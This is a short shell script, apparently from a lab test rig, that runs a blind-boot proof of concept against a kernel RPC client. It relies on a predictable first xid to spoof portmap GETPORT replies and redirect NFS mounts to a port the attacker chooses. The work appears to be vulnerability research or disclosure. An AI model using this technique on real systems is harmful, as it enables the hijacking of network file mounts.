#!/bin/sh
# DF-3205 BLIND-BOOT decisive run: execute as the FIRST rig activity after
# a fresh reboot into the baseline harness kernel.  The first krpc_call of
# the boot uses xid 0xffffff00 (krpc_subr.c:201,:282) -- the attacker
# predicts it purely from source constants (-b: never reads the request
# payload) and answers the portmap GETPORT with an attacker-chosen NFS
# port from a process that is not the client's configured server chain.
set -e
ifconfig lo0 127.0.0.2 netmask 255.0.0.0 alias 2>/dev/null || true
D=/root/dfrig13
cd $D

echo "===== DF-3205 BLIND BOOT: first RPC of the boot, predicted xid ====="
./attacker pmap -b -n 1 > pmap_blind.log 2>&1 &
sleep 1
sysctl -w kern.dfrig13=4 >/dev/null
sysctl -n kern.dfrig13_status
wait
cat pmap_blind.log
echo "DF-3205 BLIND-BOOT RUN DONE"